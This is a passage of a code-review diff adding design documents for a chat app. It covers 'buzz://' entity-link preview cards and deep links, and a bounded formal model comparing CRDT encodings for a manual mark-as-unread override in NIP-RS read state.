+`useResolvedLinkPreviews.ts` uses for Google titles.
+
+Open/merged/closed status chips (from kind `1630`–`1633` status events) are
+a nice-to-have and explicitly deferred to a follow-up.
+
+### New module
+
+`desktop/src/shared/lib/entityLink.ts` (placed in `shared/lib` rather than
+the projects feature so `linkPreview.ts` — also `shared/lib` — can import
+it without a feature→shared boundary violation):
+
+- `buildRepoLink`, `buildPullRequestLink`, `buildIssueLink`
+  (`buildProjectLink` deferred with the `project` scheme)
+- `parseEntityLink(url): EntityLinkParseResult` (discriminated union, same
+  shape as `parseMessageLink`)
+- `isEntityLink(href)` cheap pre-check for the markdown renderer
+
+Detection: extend `extractSupportedLinkPreviews` in `linkPreview.ts` with a
+`buzz://` pattern (new `SupportedLinkPreviewKind` members
+`buzz-pull-request`, `buzz-issue`, `buzz-repository`, `buzz-project`), or —
+if mixing schemes into the URL regex is awkward — a parallel extractor
+composed in `markdown.tsx`. Code blocks / spoiler / image-link masking rules
+are shared either way, and the existing `MAX_PREVIEWS` cap applies across
+both sources.
+
+## Click handling and OS deep links
+
+**In-timeline click** *(implemented)*: navigate via
+`useAppNavigation.goProject()`. The `/projects/$projectId` route id is the
+canonical `30617:<owner>:<d>` coordinate (see `entityLinkProjectRouteId` in
+`shared/lib/entityLink.ts`). Route resolution on the `feat/multi-repository-projects`
+branch (#4671) resolves this coordinate to the correct project and repository
+regardless of container grouping — **#4671 must merge before #4695** to avoid
+unresolved routes at runtime:
+
+- `pr` / `issue` → `/projects/30617:<owner>:<d>?pullRequestId=<id>` (or `issueId`).
+- `repo` → `/projects/30617:<owner>:<d>`.
+
+If resolution fails (entity not visible in this community), show the same
+kind of toast fallback used for unresolvable message links.
+
+**OS-level**: register `repo` / `project` / `pr` / `issue` hosts in
+`desktop/src-tauri/src/deep_link.rs` and dispatch to a new listener hook
+(sibling to `useMessageDeepLinks.ts`). This makes links pasted outside Buzz
+(e.g. in a terminal or another app) open the desktop app correctly.
+
+## CLI (`buzz-cli`)
+
+Add a `link` field to the JSON output of the write commands that create
+linkable entities:
+
+- `buzz pr open` → `{ event_id, accepted, message, link }`
+- `buzz issues create` → same
+- `buzz repos create` → link built from owner pubkey + `d`-tag
+- `buzz projects create` → same
+
+The builder lives in one Rust helper (e.g. `crates/buzz-cli/src/links.rs`)
+so the format has exactly one definition on the Rust side; the TypeScript
+`entityLink.ts` is its mirror and both are covered by shared-format tests
+(golden strings asserted on both sides, like the NIP-MP fixture pattern).
+
+`buzz pr get` / `buzz issues get` / `buzz repos get` also include `link` in
+their output so agents can link to existing entities, not just ones they
+just created.
+
+## Agent guidance
+
+One addition to `crates/buzz-acp/src/base_prompt.md`, next to the existing
+`--channel` rule for PR opens:
+
+> When you announce a pull request, issue, repository, or project in a
+> channel message, include the `link` value from the command output as a
+> bare URL on its own line so it renders as a preview card.
+
+No persona changes needed — the base prompt applies to all managed agents.
+
+## Interaction with existing work
+
+- **`proto/rich-link-previews`** (generic OpenGraph cards): orthogonal.
+  Entity links never hit the network beyond a relay event query; no overlap
+  in code paths except the shared `AttachmentGroup` rendering slot.
+- **`feat/multi-repository-projects` (NIP-MP)**: independent. Entity links
+  reference single repositories/PRs/issues by coordinate/event id; the
+  PR→project resolution step simply uses whatever project read models exist
+  on `main` at implementation time.
+
+## Implementation plan (suggested PR slices)
+
+0. **HTTPS clone-URL repo cards** *(done, this branch)* — recognize relay
+   `/git/<pubkey>/<repo>` URLs in `linkPreview.ts`, `Buzz` provider card
+   with the `BuzzMark` logo, href normalized to the `buzz://repo` deep link
+   for in-app navigation.
+1. **Link core + cards** *(done, this branch)* — `entityLink.ts`, detection
+   in `linkPreview.ts`, `Buzz` card variant in
+   `link-preview-attachment.tsx`, in-timeline click navigation, relay title
+   enrichment (with `resetLinkPreviewTitleCache()` wired into
+   `resetCommunityState()`). Unit tests (`entityLink.test.mjs`, extended
+   `linkPreview.test.mjs`).
+2. **OS deep links** — `deep_link.rs` + listener hook + `deep-link.ts`
+   parity tests.
+3. **CLI + agent prompt** *(create commands done, this branch)* — `links.rs`
+   helper, `link` output field on `pr open` / `issues create` /
+   `repos create`, base prompt paragraph, cross-language golden-format test.
+   Still open: `link` on the get commands.
+4. **Follow-ups (separate)** — status chips on PR/issue cards, mobile
+   pill/card rendering, web PR/issue routes + HTTPS link recognition,
+   cross-community `relay=` parameter.
+
+## Security considerations
+
+- All identifiers are validated before use (`owner`/`id` strict hex-64,
+  `d`-tag charset rules). Parse failures render the raw text as a plain,
+  non-clickable string — never an anchor with an unvalidated href.
+- Title enrichment queries go through the already-authenticated
+  `relayClient` with explicit `kinds` filters; no new HTTP surface and no
+  outbound fetches to third parties.
+- Card titles come from event tags authored by arbitrary users; they must be
+  rendered as text (existing card components already do this — verify no
+  `dangerouslySetInnerHTML` in the new variant).
+- Deep links arriving from the OS are untrusted input; the new listener must
+  apply the same validation as the in-timeline parser before navigating.
diff --git a/docs/formal/nip-rs-unread/NOTE.md b/docs/formal/nip-rs-unread/NOTE.md
new file mode 100644
index 0000000000..7472c3dca3
--- /dev/null
+++ b/docs/formal/nip-rs-unread/NOTE.md
@@ -0,0 +1,698 @@
+---
+title: "NIP-RS manual-unread: bounded exhaustive model — candidates A vs B"
+tags: [nostr, nip-rs, read-state, formal-model, buzz]
+status: active
+created: 2026-07-16
+---
+
+# NIP-RS manual-unread encoding model
+
+Bounded exhaustive model comparing two candidate CRDT encodings for a
+manual mark-as-unread override layer within NIP-RS read state.
+
+## Run
+
+```bash
+python3 exhaustive.py
+python3 mutation.py
+```
+
+Both scripts are deterministic and exit 0 on success.
+
+## Context
+
+NIP-RS v1 encodes read state as grow-only `max(timestamp)` frontiers per
+context. Manual mark-as-unread requires a second source of truth (an
+override layer) because the frontier cannot be lowered — a lower value is
+indistinguishable from a stale replica under `max()` merge.
+
+The override layer must converge across devices, survive legacy client
+rewrite cycles, and remain bounded within the existing 32 KiB plaintext
+budget. Two candidate encodings are modeled:
+
+- **A — lexicographic operation register:** per context, one register
+  `{counter, client_tiebreak, op, baseline}` in a NEW top-level field.
+- **B — two grow-only counters + baseline:** per context, `S` (set
+  counter), `C` (clear counter), `B` (frontier-at-set-time) encoded as
+  sibling keys under `contexts`.
+
+## Model universe
+
+- 2 upgraded devices + 1 legacy device
+- 2 contexts (`c0`, `c1`)
+- Actions: mark-unread, mark-read (with frontier advance),
+  advance-frontier, compact, reinstall (client_id loss),
+  deliver (including duplicate/replay)
+- BFS over canonical global states with interleaved actions and deliveries
+  (not phased), depth-bounded
+- All delivery permutations of published blobs at terminal states
+- Multi-slot union (split blob across 2 slots, deliver separately)
+- Directed deep-history check: compact → new local actions (counter
+  reuse) → delayed stale delivery, over a 672-point parameter cube
+  (stale `(S,C,B)` × post-compaction frontier × 7 action sequences ×
+  2 tie policies × 1 delivery shape). The prior 2,016-point count
+  included two duplicate split-delivery shapes (`split_fwd`/`split_rev`)
+  that became semantically identical to `single` once the atomic-grouping
+  rule made a single-context compliant split always whole-register+empty;
+  collapsed to one meaningful shape without loss of register-level
+  coverage.
+- Cross-device compaction transparency check: same tombstone, delivered
+  to an unrelated device with its own live concurrent state, over a
+  312-point parameter cube (stale `(S,C,B)` × post-compaction frontier ×
+  4 fresh-frontier values × 2 tie policies), plus a monotonicity lemma
+  over 1,728 points (2 tie policies × 4×4×3×3 receiving-register/frontier
+  combinations × 6 ceiling values) proving the ceiling can never
+  *strengthen* a receiving register's set-counter standing
+- States explored: 7,129 per tie policy (14,258 total)
+- Published-state merge closure: every override is canonicalized against
+  the device's own effective frontier at serialization time before
+  hitting the wire (mandatory, not optional) — live unchanged, dead
+  folded to the tombstone floor, virgin omitted. Checked over a directed
+  witness (Thufir's exact dead+dead pair) plus a general search: every
+  pairwise join of a bounded cube of 300 independently-dead published
+  states (156 clear-wins + 144 set-wins = 300 total across both tie
+  policies), including a one-hop relay republication to cover
+  delayed/multi-hop delivery — 45,074 pairs checked total (156² + 144²
+  + 2 directed witnesses)
+
+## Invariants checked
+
+| # | Invariant | A | B (clear-wins) | B (set-wins) |
+|---|-----------|---|-----------------|--------------|
+| I1 | Join associative/commutative/idempotent | PASS | PASS | PASS |
+| I2 | Convergence (all delivery orders) | not exercised | PASS | PASS |
+| I3 | No frontier regression | not exercised | PASS | PASS |
+| I4 | Concurrent set/clear winner stable | not exercised | PASS | PASS |
+| I5 | Compaction: no loss, no resurrection (immediate merge-back) | n/a | PASS | PASS |
+| I5c | Deep-history: compact → reuse → delayed stale delivery (same-device replay) | n/a | PASS | PASS |
+| I5d | Cross-device compaction transparency (suppress-only, not zero-divergence) | n/a | PASS | PASS |
+| I5e | Published-state merge closure: dead+dead join stays inactive | n/a | PASS | PASS |
+| I6 | Replay harmless | not exercised | PASS | PASS |
+| I7 | Legacy rewrite safety | **FAIL** (witness) | PASS | PASS |
+| I8 | Bounded key growth (3 keys/ctx live, 1 key/ctx tombstone) | n/a | PASS | PASS |
+| I9 | DeviceA counter absorption | PASS | n/a | n/a |
+
+Note: Candidate A is exercised only for I1, I7, and I9. BFS/convergence,
+frontier-regression, concurrent-winner, and replay tests (I2–I4, I6) are
+Candidate B-only; adding A variants would fail minimalism since A is already
+dead on I7 (legacy-rewrite erasure).
+
+I5 covers the immediate compacted-vs-pre-compaction merge shape (both
+merge orders). I5c is the same-device deep-history property this round
+was originally opened to close: it directly targets the ~9-transition
+history a depth-4 BFS cannot structurally reach (compact → new local
+set/clear → delayed stale delivery, including from a second slot),
+asserting that compaction never resurrects a dead override or drops a
+live one **when the delayed delivery is the compacting device's own
+pre-compaction ancestor** (or an exact copy of it, e.g. a peer that
+never advanced past the original snapshot).
+
+**I5c does not cover, and NOTE.md previously overstated, the
+cross-device case.** Compaction is a storage optimization from the
+compacting device's own point of view — its dead register's baseline
+`B` was frontier-relative to *that device's* history, and dropping `S`
+in favor of the `C` ceiling is safe against replays of *its own* past.
+But once published, the tombstone's `C` ceiling is globally comparable
+via componentwise `max()`, while the baseline-relative death that
+produced it is not. I5d proves the resulting property precisely:
+merging in a tombstone can **suppress** — never resurrect, per the
+`test_tombstone_merge_monotonic` structural lemma — a different
+device's concurrent fresh set whose own counters happen to be at or
+below the tombstone's ceiling, and the suppression always recovers with
+one more local mark-unread (verified replay-stable against the same
+tombstone). This is a one-shot false-negative risk, not a correctness
+violation of the CRDT join (idempotent/commutative/associative still
+hold per I1) and not new: an *uncompacted* stale explicit clear already
+suppresses a fresh concurrent set under clear-wins with no compaction
+anywhere (verified directly — see "Tie policy evidence" below); the
+tombstone extends the same false-negative-preferring shape to
+baseline-dominated dead sets that were never explicitly cleared.
+
+**I5e — published-state merge closure — is a protocol requirement, not
+an optimization.** I5d's suppress-only guarantee assumes the tombstone
+was actually on the wire before the merge. Nothing forces that:
+`compact_b()`/`do_compact` are a local storage-GC transition a device
+may or may not have called before it serializes. Without a mandatory
+canonicalization step, `publish_blob()` can emit a register's *raw*
+`(S, C, B)` — dead by construction (baseline-dominated, clear-dominated,
+or a clear-wins tie) but not yet folded into the tombstone's
+globally-comparable `C` ceiling. Two such raw-dead registers, published
+by two different devices for unrelated reasons, can componentwise-max
+into a **live** join: each register's `S` and `B` came from a different
+device history, and the merge recombines them independent of either
+history's own death cause. This is a distinct hazard from I5d's
+suppression (I5d is a live register losing to a stale dead one; I5e's
+witness is two dead registers producing a live one) but the same root
+cause — components taken from independent histories can be
+recombined in ways neither history's own frontier ever permitted.
+
+**Fix: canonical publication is mandatory, not advisory.**
+`DeviceB.publish_blob()` now canonicalizes every override against the
+device's own effective frontier at serialization time, unconditionally
+— live unchanged (3 keys), dead folded to the tombstone floor `RegB(0,
+max(S,C), 0)` (1 key), virgin omitted (0 keys) — regardless of whether
+`do_compact` was ever called locally first. This is a **spec-amendment
+requirement for any production client implementing this override
+layer**: publication MUST canonicalize before serialization, the same
+way it MUST advance the frontier monotonically. It is load-bearing
+correctness, not a storage optimization a client can opt out of.
+`do_compact` remains available separately to mutate a device's own
+`self.overrides` for local storage-GC purposes; it is no longer a
+prerequisite for correct publication, because publication no longer
+depends on prior local state having been compacted.
+
+**Proof obligation closed:** `exhaustive.py::test_published_merge_closure`
+checks two ways — Thufir's exact witness pair
+(`RegB(3,2,0)`@baseline-dead-50 join `RegB(1,2,100)`@clear-dead-100,
+raw join is live `RegB(3,2,100)`) as a directed case under both tie
+policies, and a general search over every pairwise join of a bounded
+cube of 300 independently-dead published states (156 clear-wins + 144
+set-wins = 300 total across both tie policies), including a one-hop
+relay republication step to cover delayed/multi-hop delivery (a relay
+that receives one operand alone and republishes — re-canonicalizing —
+before forwarding). The 45,074 ordered pairs checked comes from
+156² + 144² + 2 directed witnesses. `mutation.py::mutant_m7` reverts
+`publish_blob` to the pre-fix raw-serialization behavior and reproduces
+Thufir's exact resurrection witness directly, confirming the new
+invariant has teeth.
+
+## Candidate comparison
+
+### Convergence
+
+Both candidates converge under all tested delivery permutations (algebraic
+property).
+Candidate B achieves this with componentwise `max()` merge (a standard
+state-based CRDT join). Candidate A uses a register with lexicographic
+tuple comparison — also convergent, but the register requires a
+client-identity tiebreak field. (Convergence for Candidate B is verified
+by exhaustive BFS over all reachable states; I2–I4 and I6 are exercised
+for Candidate B only — see invariant table.)
+
+### Legacy compatibility matrix
+
+| Scenario | A | B |
+|----------|---|---|
+| Upgraded publishes, legacy reads blob | Legacy drops `overrides` field | Legacy preserves `ov_*` sibling keys |
+| Legacy rewrites same slot | **Overrides erased** (expected-witness confirmed) | Sibling keys survive sanitization |
+| Upgraded reads legacy-rewritten blob | Override state lost | Override state intact |
+| Legacy reads its own frontier | Inert (correct) | Inert (correct) |
+| Legacy frontier advance past baseline | Cannot clear override (erased) | Stale set dominated (correct) |
+
+**Candidate A's legacy erasure is the decisive defect.** The desktop and
+mobile parsers (`readStateFormat.ts:82-108`, `read_state_format.dart:100-141`)
+reconstruct only `{v, client_id, contexts}`. A same-slot legacy rewrite
+drops the top-level `overrides` field entirely and republishes without it.
+There is no safe migration path: any user with a single legacy device
+loses all manual-unread state on the next rewrite cycle.
+
+Candidate B's sibling keys (`ov_s:`, `ov_c:`, `ov_b:`) pass all legacy
+validation gates — keys are <= 256 UTF-8 bytes, values are uint32 —
+and round-trip through legacy rewrite unmodified.
+
+**Legacy carry-through simplification (documented divergence).** Row
+"Legacy preserves `ov_*` sibling keys" is proven two different ways in
+this model, and they are not the same claim:
+
+- `legacy_sanitize_blob` — the byte-sanitization function alone (drop
+  keys >256 UTF-8 bytes or non-uint32 values) — genuinely preserves
+  unknown keys as opaque pass-through, matching production
+  `sanitizeContexts`. `test_legacy_rewrite_b` (I7) exercises exactly
+  this: an upgraded device's blob is sanitized and received by a
+  *second upgraded* device; the sibling keys survive because
+  sanitization never touches keys it doesn't recognize.
+- `DeviceB(is_legacy=True)` — the explorer's legacy *device* object used
+  in the multi-device BFS (`exhaustive.py`) — does **not** carry
+  through `ov_*` keys it receives. `receive_merge` parses them into a
+  local dict but the store step is gated on `not self.is_legacy`
+  (`model.py:268`), so a legacy device's own `publish_blob` only ever
+  republishes its own frontier keys, never sibling keys it received
+  from an upgraded peer. This is a deliberate model simplification, not
+  a claim about production: production's legacy client is a single
+  `sanitizeContexts` pass with no in-memory override model to gate on,
+  so it forwards unknown keys unchanged; the model's `DeviceB` needed an
+  explicit legacy/upgraded split to represent "does not understand or
+  act on overrides" for the BFS explorer's mark-unread/mark-read action
+  space, and that split was implemented as drop-on-receive rather than
+  store-opaque-and-forward.
+- **Why this doesn't hide a defect:** every invariant that asserts
+  sibling-key survival through a legacy hop (I7) is checked via the
+  sanitize function directly, never via a `DeviceB(is_legacy=True)`
+  relay round-trip — the two paths are never conflated in a single
+  assertion. The BFS explorer's own legacy-device transitions are also
+  gated: `enabled_transitions` only enqueues `mark_unread`/`mark_read`/
+  `compact` for a device `if not d.is_legacy` (`exhaustive.py:118-124`),
+  so a legacy device in the BFS never even attempts to act on overrides;
+  `do_mark_unread`/`do_mark_read` (`model.py:210-222`) additionally
+  carry an explicit `if self.is_legacy: return` no-op guard as
+  defense-in-depth for the same property. `do_compact`
+  (`model.py:227-236`) carries no such explicit guard — it is a no-op
+  for a legacy device only *transitively*, because `self.overrides`
+  is never populated for one (every write path into `self.overrides`
+  is already gated on `not self.is_legacy`), so `do_compact` finds
+  `self.overrides.get(ctx)` is always `None` and returns immediately.
+  Either way, the drop-on-receive simplification never
+  changes the BFS's own convergence or compaction verdicts (I2, I3, I5,
+  I5c, I5d) — those are computed only over upgraded devices'
+  `override_is_set`. The one place a real production legacy client
+  *does* matter for override survival — sanitizing an upgraded device's
+  own re-published blob — is I7's scope, and I7 uses the accurate
+  function.
+- **Implication for implementation:** production's `sanitizeContexts`
+  pass-through behavior is correct and required; this note exists so a
+  future reader of `DeviceB.receive_merge` doesn't mistake the model's
+  drop-on-receive simplification for a claim that legacy relaying loses
+  override state in production — it doesn't, per the function-level
+  proof above.
+
+### Identity dependence
+
+- **A requires client_id** for the tiebreak field. After reinstall
+  (new `client_id`), the tiebreak changes. Convergence is preserved only
+  because the counter is strictly higher; a same-counter reinstall would
+  create an ambiguous merge.
+- **B needs no client identity** — componentwise `max()` is
+  identity-free. Confirmed: reinstall with new `client_id` preserves
+  convergence.
+
+### Bytes per manually-unread context
+
+Sizes computed with realistic context IDs. Envelope cost
+(`{"v":1,"client_id":"...","contexts":{}}`) is ~60 bytes and shared
+across all contexts — amortized to near zero per context.
+
+| Context type | Context ID example | ID length | Live override keys (3) | Tombstone key (1) |
+|--------------|-------------------|-----------|------------------------|--------------------|
+| Channel | `b68cd7cb-6f8d-4641-b743-a7349eb4114b` | 36 | 138 bytes | 45 bytes |
+| Message | `msg:` + 64-hex event ID | 68 | 234 bytes | 77 bytes |
+| Thread | `thread:` + 64-hex event ID | 71 | 243 bytes | 80 bytes |
+
+Live-override bytes are unchanged by the reserved-namespace escaping
+(below): every context ID Buzz actually generates (channel UUID,
+`msg:hex64`, `thread:hex64`) is a no-op under `escape_context_key` — none
+begin with `ov_` or `esc:` — so the escape marker costs 0 bytes in the
+common case. Tombstone bytes are new in this revision: canonical
+publication no longer serializes a dead register at 3 keys (see
+"Compaction behavior" below and "Published-state merge closure" above)
+but a single `ov_c:` key with the counter ceiling — this is now the
+literal output of `publish_blob()` for any dead override, not merely
+the output of the optional `do_compact` storage-GC step.
+
+Breakdown for channel context (worst real-world common case, live):
+```
+"ov_s:b68cd7cb-6f8d-4641-b743-a7349eb4114b":1    → 44 chars
+"ov_c:b68cd7cb-6f8d-4641-b743-a7349eb4114b":0    → 44 chars
+"ov_b:b68cd7cb-6f8d-4641-b743-a7349eb4114b":10   → 45 chars
+                                          total  ≈ 138 bytes (+ 2 commas)
+```
+
+Tombstone floor for channel context (dead override after compaction):
+```
+"ov_c:b68cd7cb-6f8d-4641-b743-a7349eb4114b":3    → 45 chars ≈ 45 bytes
+```
+
+Candidate A for comparison: `{"counter":1,"tiebreak":"dev0","op":"SET","baseline":10}`
+≈ 56 bytes per context as a JSON object, plus the top-level `overrides`
+field overhead. However, this is moot since A's top-level field is erased
+by legacy clients.
+
+### Reserved key namespace
+
+NIP-RS v1 context IDs are arbitrary UTF-8 (spec `:89`, `:113-114`), so a
+pre-existing opaque context could legitimately begin with `ov_s:`,
+`ov_c:`, or `ov_b:` and, once flattened into the same `contexts` map,
+be misparsed as a control key for a *different* context.
+
+**Reservation:** the 3-byte stem `ov_` and the escape marker `esc:` are
+reserved at the spec-amendment level. A raw context ID that begins with
+either is escaped on publish by prepending `esc:`, and unescaped on
+receive by stripping exactly one leading `esc:` (`model.py:
+escape_context_key`, `unescape_context_key`). This is a bijection, not
+an idempotent no-op: a context literally named `esc:foo` escapes to
+`esc:esc:foo` on the wire and unescapes back to exactly `esc:foo` on
+receipt — the two operations are inverses, so no collision or data
+loss occurs even for context IDs that already contain the marker.
+
+**Cost:** zero bytes for every context ID Buzz generates today (channel
+UUID, `msg:hex64`, `thread:hex64` — none start with `ov_` or `esc:`).
+Only a context ID that happens to start with the reserved stem pays the
+4-byte `esc:` prefix.
+
+**Backward-compatibility limitation (Thufir's qualification — not a
+collision-safe migration of existing data):** a context published
+*unescaped* by a client that predates this amendment, and that happens
+to start with `ov_` (e.g. an already-published, pre-existing
+`ov_s:evil`-style context), is **not safely migrated** by this scheme.
+Retroactive escaping cannot rewrite a blob the original publisher never
+knew needed escaping — the codec protects contexts generated by
+amendment-aware clients going forward, not history that predates the
+amendment. This is a theoretical concern for the reasons in the
+">256-byte key drop hazard" section: Buzz's own key shapes cannot
+trigger it, and no legacy client is known to generate `ov_`-prefixed
+context IDs. Documented as a residual, unsolved, backward-compatibility
+gap — not modeled further — per the same practical-risk reasoning
+already applied to the 256-byte hazard below.
+
+**Verified:** `exhaustive.py::test_reserved_namespace_collision` — a
+context literally named `ov_s:evil` round-trips through publish/receive
+as frontier state (not misparsed as an override), and a real override on
+a *different* context in the same blob is unaffected.
+
+### Counter headroom (uint32)
+
+Each counter (S, C) is a uint32: 2^32 - 1 = 4,294,967,295. At one
+toggle per second, ~136 years. No practical concern for manual
+right-click actions.
+
+### >256-byte key drop hazard
+
+Legacy `sanitizeContexts` drops any key with `len(key.encode('utf-8')) > 256`.
+Adding the `ov_s:` prefix (5 bytes) to a context key creates a key of
+`len(context_id) + 5` bytes. If the original context key is at or near
+the 256-byte limit, the prefixed override key exceeds it and is silently
+dropped by legacy sanitization.
+
+In practice, context keys are UUIDs (36 bytes), hex event IDs (64-68 bytes),
+or thread IDs (71 bytes) — all well under 256 bytes. The longest common
+override key (`ov_b:thread:` + 64-hex = 76 bytes) has 180 bytes of
+headroom. This hazard is theoretical but should be documented in the spec.
+
+### 10,000-key validation limit
+
+Legacy `isValidBlob` rejects blobs with >10,000 context keys. Live
+override keys consume 3 entries per overridden context; a compacted
+(tombstoned) override consumes 1:
+
+| Overridden contexts | Live override keys | Typical frontier keys | Total | Headroom |
+|--------------------|---------------------|-----------------------|-------|----------|
+| 50 | 150 | ~500 | 650 | 93.5% |
+| 100 | 300 | ~1,000 | 1,300 | 87% |
+| 500 | 1,500 | ~2,000 | 3,500 | 65% |
+| 3,000 | 9,000 | ~1,000 | 10,000 | 0% (limit) |
+
+The 32 KiB byte budget is the binding constraint long before key count.
+
+### Compaction behavior (tombstone-floor, policy-dependent)
+
+**Revision note:** the prior "compacts to zero" design (delete-on-
+dominance: a dead register was dropped entirely, 0 keys) is retracted.
+Thufir's pass-3 review found a stale-replay resurrection: dropping all
+`(S,C)` state made counters reusable, so a new local set/clear pair
+restarting from `S=0,C=0` could be dominated by a delayed stale peer
+snapshot on replay (`RegB(3,0,10)` → compact → `None` → local
+set+clear → `RegB(1,2,20)` → stale replay merges in → `RegB(3,2,20)`,
+`S>C`, resurrected). Fixed by a tombstone floor: any register with
+recorded activity (S>0 or C>0) is *never* fully deleted — dead state
+compacts to `RegB(0, max(S,C), 0)` instead of `None`. Only a virgin
+register (never set, S==0 and C==0) has no ceiling to protect and
+compacts to `None`.
+
+**The compaction rule is now uniform across the dead cases — the
+per-branch table collapses to a single test:**
+
+| Condition | Clear-wins | Set-wins |
+|-----------|-----------|----------|
+| `override_set_b(reg)` is True (live) | Do not compact | Do not compact |
+| `override_set_b(reg)` is False and `S>0 or C>0` (dead, ever-active) | Compact to tombstone floor `RegB(0, max(S,C), 0)` | Compact to tombstone floor (same) |
+| `S == 0, C == 0` (virgin, never set) | Drop entirely (`None`) | Drop entirely (same) |
+
+Because `override_set_b` is already policy-aware, "live" vs. "dead"
+differs by policy exactly where it did before (`S == C, S > 0` is dead
+under clear-wins, live under set-wins) — the tombstone floor rule itself
+does not need to branch on policy; `compact_b` calls `override_set_b`
+once and only tombstones the false branch.
+
+Under clear-wins, a dead override compacts to the ~45-byte tombstone
+(one `ov_c:` key, channel context) — **not** to zero, because `C` must
+persist as the reuse-blocking ceiling. Under set-wins, `S == C` overrides
+remain live and are never compacted (3 keys, ~138 bytes for channel
+contexts) — unchanged from the prior revision.
+
+**Proof obligation closed (same-device replay):**
+`exhaustive.py::test_deep_history_compaction` (672-point parameter
+cube) and `test_tombstone_stale_merge_direct` verify no resurrection
+and no loss of a genuinely-live override across the compact →
+new-action → delayed-stale-delivery shape, for both tie policies.
+`mutation.py::mutant_m4`
+reverts to the old delete-on-dominance rule and reproduces the exact
+resurrection witness (`final_reg=RegB(s=3, c=2, b=20)`,
+`override_is_set=True`) — confirming the suite would have caught the
+defect this round was opened to fix.
+
+**Proof obligation closed (cross-device transparency, requalified —
+suppress-only, not zero-divergence):**
+`exhaustive.py::test_cross_device_compaction_suppression` (312-point
+cube: stale ancestor `(S,C,B)` × post-compaction frontier × 4
+fresh-frontier values on the receiving device × 2 tie policies) proves
+every divergence between "receive the tombstone" and "receive the
+uncompacted ancestor" is a suppression of an unrelated device's live
+set — never a resurrection — and that every suppression recovers with
+one more local mark-unread and stays recovered after re-receiving the
+same tombstone. `test_tombstone_merge_monotonic` proves the direction
+structurally (not just over the bounded cube): merging in a tombstone
+`RegB(0, k, 0)` for any ceiling `k` can only raise the receiving
+register's `C`, never its `S` or `B`, so it can only weaken — never
+strengthen — the receiving register's live/dead standing under
+`override_set_b`. Together these close the compaction-safety proof
+obligation to exactly what it can honestly claim: no resurrection ever,
+one-shot suppression is a known and recoverable false-negative risk
+inherent to the clear-wins/tombstone design, not an unbounded
+correctness gap.
+
+### GC/tombstone behavior
+
+**Override keys with `ov_` prefix (legacy prune):** Legacy
+`pruneStaleContexts` only drops `msg:`/`thread:`-prefixed keys past the
+7-day horizon. Unknown-prefix keys (including `ov_*`) are kept forever:
+
+- **Permanent tombstones:** every override that is ever compacted while
+  dead leaves a permanent `ov_c:` key (~45 bytes, channel context) — this
+  is no longer a "harmless, can shrink to zero" cost; it is a durable
+  floor kept forever to block stale-replay resurrection. This is the
+  direct storage consequence of fixing the CRITICAL above and must be
+  budgeted, not treated as free.
+- **Live overrides:** an override still live (per `override_set_b`)
+  keeps all 3 keys (~138 bytes, channel context) until it becomes dead
+  and is compacted down to the tombstone.
+
+**Alternative: nesting under `msg:`/`thread:` prefixes** — confirmed
+**state-loss hazard**. Legacy prune would delete overrides at the 7-day
+horizon, silently losing active unread markers. Rejected.
+
+### Legacy trim interaction
+
+Legacy `trimContextsToBudget` evicts only `msg:`/`thread:` keys.
+Override `ov_*` keys (including tombstones) are never evicted. Budget
+analysis by context type, worst case (all overrides still live, 3 keys
+each — the tombstone floor only ever *reduces* this cost):
+
+| Overridden contexts | Context type | Live override bytes | With ~10 KiB frontiers | Fits 32 KiB? |
+|--------------------|-------------|----------------|----------------------|-------------|
+| 50 | Channel (UUID) | ~6.9 KiB | ~16.9 KiB | Yes |
+| 100 | Channel (UUID) | ~13.8 KiB | ~23.8 KiB | Yes |
+| 150 | Channel (UUID) | ~20.7 KiB | ~30.7 KiB | Marginal |
+| 50 | Message (hex64) | ~11.9 KiB | ~21.9 KiB | Yes |
+| 100 | Message (hex64) | ~23.7 KiB | ~33.7 KiB | **No** |
+
+At the 100-override cap with every override compacted to its tombstone
+floor instead: ~4.5 KiB (channel contexts, 100 × 45 bytes) — well
+within budget alongside a full frontier set. The permanent-tombstone
+floor from the CRITICAL fix costs storage but is bounded and small; it
+does not change the 32 KiB conclusion below.
+
+**Mitigation:** Upgraded clients should compact aggressively (any dead
+override, not just baseline-dominated ones) and enforce a cap on active
+override count. A cap of 100 channel-context overrides keeps *live*
+override budget under ~14 KiB and *tombstoned* budget under ~4.5 KiB,
+both within the 32 KiB limit alongside a full frontier set.
+
+### Tie policy evidence: clear-wins vs set-wins
+
+Both tie policies pass all invariants. The choice is a product-semantics
+decision:
+
+- **Clear-wins (S == C → read):** If two devices concurrently set and
+  clear the same context, the result is "read." Conservative — no
+  spurious unread badges. Matches the "I already read this" signal being
+  more definitive than the "remind me" signal. Compaction advantage:
+  `S == C` states are compactable.
+- **Set-wins (S == C → unread):** Concurrent set and clear results in
+  "unread." Preserves the reminder intent. Risk: a user who reads on one
+  device while another has a stale mark-unread gets a persistent badge
+  they can't clear without an explicit action. Compaction disadvantage:
+  `S == C` states are live and cannot be compacted.
+
+**Recommendation:** Clear-wins. A false negative (missing badge) is
+recovered by re-marking unread. A false positive (badge that won't clear)
+is more frustrating. This matches Slack's behavior: reading anywhere
+clears everywhere. The compaction advantage further favors clear-wins.
+
+**Pre-existing false-negative risk (independent of compaction).** Under
+clear-wins, a stale explicit clear (`RegB(0,1,0)`, no compaction
+involved) merging into a device with a fresh concurrent set
+(`RegB(1,0,30)`) already produces `RegB(1,1,30)`, tied, suppressed —
+verified directly by evaluating `merge_reg_b`/`override_set_b` on those
+two registers with no `compact_b` call anywhere in the path. The
+cross-device tombstone-suppression finding (I5d, "Compaction behavior"
+above) is the same tie shape reached via a different route: a
+baseline-dominated *dead set* (never explicitly cleared) that gets
+compacted to a `C`-ceiling tombstone, which is then globally comparable
+in a way its pre-compaction, frontier-relative death was not. Compaction
+widens the set of histories that can reach the tie, but clear-wins
+already accepted this one-shot, re-mark-recoverable false-negative shape
+as its stated tradeoff.
+
+### Multi-slot union
+
+Production splits blobs across up to 8 slots (`READ_STATE_MAX_SLOTS`).
+`mergeReadStateEvents` merges all slots with per-context `max()`. Override
+sibling keys are individual context entries and follow the same merge path.
+
+**Atomic slot-grouping rule (spec-amendment requirement):** a context's
+frontier entry and ALL of its `ov_*` sibling entries MUST travel in the
+same slot, including during slot growth/rebalancing. This is the transport
+half of the same closure property as mandatory canonical publication:
+
+- Without it, an observer holding only a slot containing `ov_s:ctx` (but
+  not `ov_b:ctx`) reconstructs `RegB(s=1, c=0, b=0)` — baseline-dead at
+  any nonzero frontier — and canonically publishes tombstone `RegB(0,1,0)`.
+  After full eventual delivery of all original slots plus that transient
